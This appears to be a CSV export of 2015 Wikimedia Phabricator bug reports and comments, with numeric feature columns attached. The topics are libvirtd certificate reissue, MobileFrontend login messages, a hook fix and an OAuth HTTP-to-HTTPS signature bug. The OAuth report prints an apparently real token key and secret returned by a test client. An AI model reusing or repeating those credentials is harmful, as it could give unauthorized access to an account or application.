+Any suggestions please?",,,1429769513,,PHID-USER-an4pp3ctbvnmzztphldc,False,,,PHID-TASK-coy4jcm5ovk4hav6bn3y,task_subcomment,,True,c3,1,False,,,-10,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,0,0,0,1
+96291,labvirt boxes need a new cert for libvirtd,"On virt10xx, libvirtd uses a WMF CA-signed wildcard cert for virt*.eqiad.wmnet.
+
+As part of the renaming from virt* to labvirt* we need a new cert for labvirt*.eqiad.wmnet.
+
+https://gerrit.wikimedia.org/r/#/c/204279/ is an attempt to do this, but that cert is self-signed and we need one signed with the WMF CA.
+
+In the meantime, libvirtd.log has sad, repeated notices:
+
+error : virNetTLSContextCheckCertPair:495 : Our own certificate /etc/ssl/localcerts/labvirt-star.eqiad.wmnet.crt failed validation against /etc/ssl/certs/wmf-ca.pem: The certificate hasn't got a known issuer.",Needs Triage,90.0,1429212053,1429549045.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-xwxce3kpvsv54t735g7q,False,PHID-TASK-d34xylqslr6rod4z44pk,task_description,resolved,True,c3,1,True,False,True,-11,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+446327,labvirt boxes need a new cert for libvirtd,"Certs successfully issued from privated CA and populated on servers, resolving",,,1429549045,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+445272,labvirt boxes need a new cert for libvirtd,"Change 204718 merged by Andrew Bogott:
+Issue new certificate for virt-star
+
+[[https://gerrit.wikimedia.org/r/204718]]",,,1429278209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+445258,labvirt boxes need a new cert for libvirtd,"OK, change uploaded https://gerrit.wikimedia.org/r/#/c/204718/. I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 
+
+/me happy the old ca goes away. only opendj is left now.",,,1429277258,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+445169,labvirt boxes need a new cert for libvirtd,"OK, change submitted. I am unsure of the repercussions of this one. Probably needs to be coordinated so that it happens on all virt nodes in the same time followed by a restart of libvirtd. It should not have any repercussions on running VMs though 
+
+/me happy the old ca goes away. only opendj is left now.",,,1429261418,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+445167,labvirt boxes need a new cert for libvirtd,"Change 204718 had a related patch set uploaded (by Alexandros Kosiaris):
+Issue new certificate for virt-star
+
+[[https://gerrit.wikimedia.org/r/204718]]
+",,,1429261151,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+444941,labvirt boxes need a new cert for libvirtd,"Oh, I should add -- the main project here is migration of instances from virt10xx to labvirt10xx.  So I need them to talk to each other.",,,1429220984,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+444939,labvirt boxes need a new cert for libvirtd,"libvirtd.conf only allows me to specify one ca file.  So I either need keys on all boxes from the same CA, or some way to chain multiple CAs in a single file.
+
+It shouldn't hurt to replace the cert on the existing virt10xx boxes.  Alex, do you mind generating me new virt-star certs that also use the new CA?
+
+thanks!",,,1429220937,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0
+444905,labvirt boxes need a new cert for libvirtd,"Change 204612 merged by Andrew Bogott:
+Populate labvirtstar from wmf_ca_2014_2017
+
+[[https://gerrit.wikimedia.org/r/204612]]",,,1429218266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+444863,labvirt boxes need a new cert for libvirtd,"Change 204612 had a related patch set uploaded (by Alexandros Kosiaris):
+Populate labvirtstar from wmf_ca_2014_2017
+
+[[https://gerrit.wikimedia.org/r/204612]]
+",,,1429214291,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,False,,,-11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+444861,labvirt boxes need a new cert for libvirtd,"So, there are 2 WMF CAs right now. The ""old"" one and the ""new"" one. Those are populated on all systems via 
+
+https://github.com/wikimedia/operations-puppet/blob/production/manifests/certs.pp#L69
+
+and 
+
+https://github.com/wikimedia/operations-puppet/blob/production/manifests/certs.pp#L75
+
+respectively. 
+
+We are phasing out the old one, so no more certs will be issued from it. The new one will be used instead",,,1429214209,,PHID-USER-xwxce3kpvsv54t735g7q,False,,,PHID-TASK-d34xylqslr6rod4z44pk,task_subcomment,,True,c3,1,True,,,-11,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,0,0
+96191,Login form should support custom messages based on returnto and returntoquery parameters,"Currently only custom error messages are possible. It should be possible to customise the message based on the thing you are trying to access
+e.g.
+http://localhost:8888/w/index.php?title=Special:UserLogin{F113543}
+{F113540}
+vs
+http://localhost:8888/w/index.php?title=Special:UserLogin&returnto=Special:Watchlist
+http://localhost:8888/w/index.php?title=Special:UserLogin&returnto=Headings&returntoquery=article_action=watch
+{F113547}",Needs Triage,90.0,1429133372,1431531133.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-chjj4mztyqjztajikppu,task_description,declined,True,c3,1,True,True,True,-12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+458219,Login form should support custom messages based on returnto and returntoquery parameters,I feel like given that you can currently pass a parameter `warning` to activate this that should be enough.,,,1431531133,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-chjj4mztyqjztajikppu,task_subcomment,,True,c3,1,True,,,-8,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+96174,Re-evaluate location of LoginUserMigrated hook,"Currently it's possible for the hook to pass ""false"" in for $user, which caused T96145. That doesn't seem very useful.",Needs Triage,90.0,1429120468,1431721632.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-TASK-erz4gxx5j2we57s3nt7w,task_description,resolved,True,c3,1,True,True,True,-12,True,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+459469,Re-evaluate location of LoginUserMigrated hook,"Change 211239 merged by jenkins-bot:
+Always pass a valid User object to LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/211239]]",,,1431721386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erz4gxx5j2we57s3nt7w,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+459438,Re-evaluate location of LoginUserMigrated hook,"Change 211239 had a related patch set uploaded (by Legoktm):
+Always pass a valid User object to LoginUserMigrated hook
+
+[[https://gerrit.wikimedia.org/r/211239]]
+",,,1431719084,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erz4gxx5j2we57s3nt7w,task_subcomment,,True,c3,1,False,,,-7,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+95998,Some OAuth libraries get authentication errors against non-SSL OAuth endpoints,"I believe the issue is that we [redirect](https://github.com/wikimedia/mediawiki-extensions-OAuth/blob/master/frontend/specialpages/SpecialMWOAuth.php#L93-L101) users requesting HTTP to HTTPS, but many frameworks will simply follow the redirect without realising that they need to update their signature.
+
+How to reproduce:
+
+1. Update the testClient.php script to use a consumer token / secret registered on mediawiki.org
+2. Change the baseUrl in testClient.php to 'http://www.mediawiki.org/w/index.php?title=Special:OAuth'
+3. Run the testClient, and observe that you get the following response:
+```
+    If all worked well, you should have a JSON object with two keys: key, secret.
+
+    You got:
+string(35) ""{""error"":""mwoauth-oauth-exception""}""
+```
+4. Change the baseUrl to use HTTPS, and run again. Output becomes:
+```
+    You got:
+string(94) ""{""key"":""8491f49a7943741349105701c6a813ac"",""secret"":""77b0d138fdd3c1b6e046639a99ee99ede2e46f10""}""
+```
+
+Extract from logs on Fluorine:
+```
+2015-04-14 07:53:01 mw1171 mediawikiwiki: MediaWiki\Extensions\OAuth\OAuthSignatureMethod_HMAC_SHA1::build_signature: Base string: 'GET&https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php&format%3Djson%26oauth_consumer_key%3D<snip>%26oauth_nonce%3D<snip>%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1428997980%26oauth_token%3D<snip>%26oauth_verifier%3D<snip>%26oauth_version%3D1.0%26title%3DSpecial%253AOAuth%252Ftoken'
+
+2015-04-14 07:53:47 mw1176 mediawikiwiki: MediaWiki\Extensions\OAuth\OAuthSignatureMethod_HMAC_SHA1::build_signature: Base string: 'GET&https%3A%2F%2Fwww.mediawiki.org%2Fw%2Findex.php&format%3Djson%26oauth_consumer_key%3D<snip>%26oauth_nonce%3D<snip>%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1428998025%26oauth_token%3D<snip>%26oauth_verifier%3D<snip>%26oauth_version%3D1.0%26title%3DSpecial%253AOAuth%252Ftoken'
+```
+
+Note that in both cases, the ""base URL"" begins with `https`.",Needs Triage,90.0,1428998720,1488862514.0,PHID-USER-cgfiqjzsqzd7ulp7eyr7,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-f5fbbwpdcrb742fbwerb,task_description,resolved,True,c3,1,False,False,False,-12,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+820600,Some OAuth libraries get authentication errors against non-SSL OAuth endpoints,We don't have non-HTTPS endpoints anymore so closing. Probably just a case of Varnish HTTP -> HTTPS redirects breaking stuff.,,,1488862514,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-f5fbbwpdcrb742fbwerb,task_subcomment,,True,c3,3,True,,,87,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+95903,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"http://localhost:8888/w/index.php?title=Special:UserLogin&type=signup&returnto=Special%3AWatchlist
+
+shows message:
+""A watchlist helps you bookmark pages and keep track of changes to them.
+Sign up to start one now.""
+
+It should be possible without updating MobileFrontend to customise this message.
+",Needs Triage,90.0,1428939696,1429135386.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_description,resolved,True,c3,1,True,False,True,-12,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,0
+444246,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203894 merged by jenkins-bot:
+Login messages: Add support for MobileFrontend loginpage
+
+[[https://gerrit.wikimedia.org/r/203894]]",,,1429132623,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+444236,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203893 merged by jenkins-bot:
+Add support for extensions to add custom login messages for mobile login page
+
+[[https://gerrit.wikimedia.org/r/203893]]",,,1429131616,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+443024,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203894 had a related patch set uploaded (by Florianschmidtwelzow):
+Login messages: Add support for MobileFrontend loginpage
+
+[[https://gerrit.wikimedia.org/r/203894]]
+",,,1428956045,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+443022,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Change 203893 had a related patch set uploaded (by Florianschmidtwelzow):
+Add support for extensions to add custom login messages for mobile login page
+
+[[https://gerrit.wikimedia.org/r/203893]]
+",,,1428956027,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+443017,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,++++,,,1428954897,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+443016,Should be possible for other extensions to register custom messages on MobileFrontend login and signup forms,"Hmm, maybe reuse the LoginFormValidErrorMessages hook from LoginForm/Special:UserLogin? I think it wouldn't be a good idea to introduce much new things (like new own hooks), because our goal is to remove this feature :) Opnions?",,,1428954837,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-kdw5uzmdgiem5jztpgq5,task_subcomment,,True,c3,1,True,,,-12,True,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+95820,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"MobileFrontend [[ https://github.com/wikimedia/mediawiki-extensions-MobileFrontend/blob/ec875fc9e27efe76ea7643f84c092f0319dac0d3/includes/MobileFrontend.hooks.php#L582-L605 | creates it's own ]] Userlogin and UserCreate templates. These templates inherits QuickTemplate while core templates inherits BaseTemplate. If another extension (which is included _after_ MobileFrontend in LocalSettings.php) requires functions from BaseTemplate in it's UserLoginFrom or UserCreateForm hook handler (which is legitim, because UserCreateTemplate is the expected class), php ends with a fatal error. MobileFrontend should also inherit BaseTemplate instead of QuickTemplate to prevent these problems.
+
+Encountered with installed MobileFrontend and GoogleLogin extension.",Needs Triage,90.0,1428788380,1428948257.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,PHID-TASK-ci2b3ojymx63l75s6v73,task_description,resolved,True,c3,1,True,True,True,-12,True,0,0,0,1,0,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+442897,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"Change 203622 merged by jenkins-bot:
+Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate
+
+[[https://gerrit.wikimedia.org/r/203622]]",,,1428945050,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ci2b3ojymx63l75s6v73,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442486,MobileFrontend makes UserLoginForm hook to pass incompatible parameter,"Change 203622 had a related patch set uploaded (by Florianschmidtwelzow):
+Use BaseTemplate instead of QuickTemplate to create UserLoginAndCreateTemplate
+
+[[https://gerrit.wikimedia.org/r/203622]]
+",,,1428788553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ci2b3ojymx63l75s6v73,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+95729,string replacement for watchstar login page,"This page is triggered when an anon click on the CTA to login after clicking on a watchstar
+{F111080}
+
+The text should be replaced
+A watchlist helps you bookmark pages and keep track of changes to them.
+Log in to see it.
+
+--->  Now you can group pages into collections to share with friends or save for later. 
+ Login to try.",Needs Triage,90.0,1428689335,1430262067.0,PHID-USER-izqileijt5niumtehazh,True,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-TASK-7r43ouuspdyah5cti7rk,task_description,resolved,True,c3,1,True,False,True,-12,True,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+449492,string replacement for watchstar login page,"Change 205473 merged by jenkins-bot:
+Making the Gather login and signup messages work in standard way
+
+[[https://gerrit.wikimedia.org/r/205473]]",,,1430126388,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+449490,string replacement for watchstar login page,All merged.,,,1430126309,,PHID-USER-cjstd4vv3u3gq2sijr7d,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+448456,string replacement for watchstar login page,"Change 205473 had a related patch set uploaded (by Jdlrobson):
+Making the Gather login and signup messages work in standard way
+
+[[https://gerrit.wikimedia.org/r/205473]]
+",,,1429822501,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+444349,string replacement for watchstar login page,"@Kaldari doesn't like https://gerrit.wikimedia.org/r/#/c/203835/
+Let's find a way to move this forward and not be bogged down by our tech debt...",,,1429141063,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,True,,,-12,True,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,0,0
+444325,string replacement for watchstar login page,"Change 203836 merged by jenkins-bot:
+Add i18n messages for login signup
+
+[[https://gerrit.wikimedia.org/r/203836]]",,,1429137930,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-7r43ouuspdyah5cti7rk,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442819,string replacement for watchstar login page,"Change 203836 had a related patch set uploaded (by Jdlrobson):
+Add i18n messages for login signup
+
